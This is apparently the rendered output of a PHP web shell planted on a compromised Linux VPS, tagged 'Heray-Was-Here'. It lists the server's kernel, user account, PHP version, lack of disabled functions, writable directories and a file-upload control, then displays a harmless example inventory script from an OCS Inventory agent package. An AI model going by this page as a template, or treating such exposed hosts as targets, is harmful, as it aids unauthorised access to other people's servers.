Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Ocsinventory-Agent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Ocsinventory-Agent/example.sh
#! /bin/bash
# This is an example script for the byHand software collect method
#
# You can create your own script to detect the installed software
# and install them in /etc/ocsinventory/softwares
#
#ligne=$(ls --version| head -n 1)
#
#soft=$(echo $ligne | cut -f1 -d'('| sed 's/ //')
#vendor=$(echo $ligne | cut -f2 -d'('| cut -f1 -d')')
#version=$(echo $ligne | cut -f2 -d'('| cut -f2 -d')'|sed 's/ //')
#
#echo "$vendor#$soft#$version#simple test"
#
#

Hry